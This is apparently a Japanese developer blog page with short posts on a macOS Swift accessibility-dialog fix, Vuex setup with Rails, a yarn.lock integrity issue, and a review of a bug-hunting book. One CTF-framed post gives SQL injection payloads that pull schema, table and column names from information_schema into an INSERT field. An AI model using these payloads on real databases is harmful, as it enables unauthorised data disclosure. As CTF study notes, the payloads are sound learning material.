セキュリティ系の勉強・その他開発メモとか雑談. Twitter, ブログカテゴリ一覧
本ブログはあくまでセキュリティに関する情報共有の一環として作成したものであり,公開されているシステム等に許可なく実行するなど、違法な行為を助長するものではありません.

【Swift5】AXIsProcessTrustedWithOptions(_:) アクセシビリティのダイアログ(Window)が表示されない[MacOS]



情報が乗ってないわけではないのですが、日本語のMacOSの解説が少ないので残しておきます。この記事での原因はaddGlobalMonitorForEventsです。

developer.apple.com

f:id:thinline196:20191224092338p:plain


環境

xcode Version 11.2.1 (11B500)
Apple Swift version 5.1.2 (swiftlang-1100.0.278 clang-1100.0.33.9)



コード

コード自体は割と転がっています。新規Cocoa Projectを作って、AppDelegateapplicationDidFinishLaunching()メソッドに記述します。AXIsProcessTrustedWithOptions()を呼ぶことで、アプリケーションに許可がない時にダイアログを表示することができます。

 let options: NSDictionary = [kAXTrustedCheckOptionPrompt.takeRetainedValue() as NSString: true]
    if !AXIsProcessTrustedWithOptions(options){
     //タイマーでチェックし続けるなどをよくする
   }


原因

僕の場合は、addGlobalMonitorForEvents()(アプリを開いてなくてもバックグラウンドでイベントを仕込める)を利用していたので、AppSandboxを切る必要がありました。左のプロジェクト階層のトップを開いて、Sging&Capabilitiesタブを開きます。(Teamは設定しておくと良いかも) f:id:thinline196:20191224092934p:plain


AppSandboxの右上のxボタンを押して消します。 f:id:thinline196:20191224092940p:plain


これで表示されると思います。

【MySQL】VALUESの中に他テーブルの文字を挿入[SQLi]

想定

下の$paramsの部分が入力になっている。ここで保存した値が、一覧ページに表示される仕様になっている。

INSERT INTO table_name (column_name1, column_name2) VALUES (1, $params) ;

スキーマ名をカラムに保存

$params = (select group_concat(schema_name) from information_schema.schema)



table名をカラムに保存

$params = (select group_concat(table_name) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='必要ならスキーマ名')


group_concatには独自でまとめられる個数制限があるらしいので、like句などで絞ってBurpIntruderなどでa-zを回すと効率良い。

$params = (select group_concat(table_name) from INFORMATION_SCHEMA.TABLES where TABLE_NAME like 'a%')



カラム名を保存

(select group_concat(COLUMN_NAME) from information_schema.columns where table_name='テーブル名')


最後に

あとは出題に合わせて適宜'などを入れてください。(CTF)

【rails_vue_melt】Vuexを使う&管理


はじめに

前回はrails_vue_meltというgemを利用してRailsvue.jsを導入しました。今回はVuexをいい感じに管理しようと思います。が、もっと良いわけたかがあると思うので、普段使いしている方は自分のやり方でお願いします。。。


thinline196.hatenablog.com

階層構造

最終的にこんな感じになりました。

    ├── application.js
    └── vue_melt
        ├── application.js
        ├── components
        │   └── Hello.vue
        ├── mixins
        ├── options
        │   └── test_counter.js
        └── store
            ├── counts
            │   ├── actions.js
            │   ├── getters.js
            │   ├── index.js
            │   └── mutations.js
            └── index.js



中身

呼び出す人

options/test_counter.jsが今回Vuexを使いたい人です。

// app/frontend/packs/vue_melt/options/test_counter.js
import {mapActions,mapState,mapGetters} from 'vuex'
import countsModule from '../store/counts'

export default {
  data:()=>({}),
  components: {
    counts: countsModule
  },
  computed: {
    ...mapState({
      clickCount: state => state.counts.clickCount
    }),
    ...mapGetters({
      getCount:"counts/getCount"
    })
  },
  methods: {
    ...mapActions({
      increment: "counts/increment",
      initTo:"counts/initTo"
    }),
    Increment(){
      this.increment()
    },
    InitTo(value){
      this.initTo(value)
    }
  }
}


大元

ここstore/index.jsでこれから作っていくであろうVuexのモジュールを呼び出します。今回はcountsという単純に数字をカウントするものをモジュールにまとめようと思います。

// app/frontend/packs/vue_melt/store/index.js
import Vue from 'vue/dist/vue.esm'
import Vuex from 'vuex'
import countsModule from './counts'

Vue.use(Vuex)

const state = {

}

export default new Vuex.Store({
  state,
  modules: {
    counts: countsModule //ここにどんどん使いしていきます。
  }
})


countsモジュールの中身

store/counts/index.jsでモジュール内のものをまとめています。また、モジュール内で触るデータの定義はここで行いました。

// app/frontend/packs/vue_melt/store/counts/index.js
import actions from './actions'
import getters from './getters'
import mutations from './mutations'

export const state = () =>({
  clickCount: 0
})

export default {
  namespaced: true,
  state,
  actions,
  getters,
  mutations
}


getters.jsにはVuexに保存してあるデータを読み込み時使うものを定義して基本ここ経由でのみgetするそうです。

// app/frontend/packs/vue_melt/store/counts/getters.js
export default {
  getCount(state){
    return state.clickCount
  }
}


mutations.jsにはVuexに保存してあるデータに変更を加える時に使うメソッドを定義します。ここ経由でのみデータの書き換えを許可します。

//app/frontend/packs/vue_melt/store/counts/mutations.js
export default {
  increment(state){
    state.clickCount++
  },
  initTo(state,value) {
    state.clickCount = value
  }
}


actions.jsには、ビュー側からmutationsをいじるためのメソッドを定義します。ビュー側からはここに定義したもの経由でのみmutationsを呼び出すことを許可するようです。

// app/frontend/packs/vue_melt/store/counts/actions.js
export default {
  increment ({commit}){
    commit('increment')
  },
  initTo({commit},value){
    commit('initTo',value)
  }
}

使ってみる

vue_meltも含めてこんな感じで呼べました。

.t(data-vue="test_counter")
  input.inc(type="button" v-on:click="increment" value="inc") {{getCount}}
  input.reset(type="button" v-on:click="initTo(0)" value="reset")


わかりにくいですがスクショも。 f:id:thinline196:20191203174247p:plain

yarn.lock integrityが削除される

事象

こんな感じで、他人がコミットしたyarn.lockを使用してyarn installを行うと、integrity行が大量に消えdiffがものすごいことになる。

f:id:thinline196:20191202124003p:plain


環境

$ yarn -v
1.16.0



結論

元々yarn1.10系から導入されたもののようで、過去に1.9系でinstallを行うとintegrityが消えるという、今回と同じissueが見つかった。

github.com

https://spectrum.chat/yushima-js/general/2018-11-1-110-mtg~f4d1ed4b-a658-4c95-a0e0-8f4acd303407

方向性としておそらく同issueのこのコメントが採用されているはず、、

 If there is a 1.9 style yarn.lock file (i.e. it doesn't contain integrity entries), keep it as a 1.9 
style lock file, don't add integrity entries. Print a warning, something like "Using yarn 1.9 
compatible lock file; run yarn upgrade-lock-file to upgrade [and enable integrity checking]".

引用元:https://github.com/yarnpkg/yarn/issues/6440#issuecomment-427784186


  • 基本的にチームメンバで同じバージョンを利用すること。
  • もし1.9系を使っている人がいるのなら、1.9系に合わせる


とのことなので、これを信じるなら、僕が再びyarn installを実行してもdiffがまた大量発生することはなさそう。
少し昔の事象のようですが、日本語情報が少なかったので念の為。

Real-World Bug Hunting 読みました

内容

HackerOneを中心に、過去のレポートをなぞりながら、どうやってサイトを探索してバグを見つけ出したかを丁寧に説明してくれます。各脆弱性の種類ごとに章が組まれていて、章内では軽く脆弱性の説明と3,4個のレポートとその流れを説明していく感じです。英語ですが、脆弱性について知っている人は想像しながら読めるので苦戦はしないと思います。

最後の章では、今までのまとめとしてどうやってバグを探すか、手順を示しながら説明してくれます。



対象読者

  • どうやってバグを探すのか道筋がはっきり立っていない人
  • バグバウンティ始めたての人
  • 基本的な脆弱性はわかってる人(わかってなくても大丈夫ですが、詳細な説明はないので自分で調べるとイメージしやすい)


なので、基本的にどう探すかイメージがつくような本になってました。普通にバグハンをやっている人は読む価値は薄いかもしれません。。それと、自分でレポートなどを日常的に読んでいる人にとっても、あまり収穫は多くないかもしれません。

その他

買ったけど時間がなかったり、途中で内容に飽きた人は、最後の章だけ読めば全体の美味しいとこ取りができるのでおすすめです。色々まとめてあったり、レポート出すときの注意点や、付録としてツールの紹介や練習サイト、バウンティのサイトがまとめてあります。
僕は読者対象にぴったり当てはまっていたと思うので、買ってとても良かったです。

f:id:thinline196:20191130110519j:plain

https://www.amazon.co.jp/Real-World-Bug-Hunting-Hacking-English-ebook/dp/B072SQZ2LG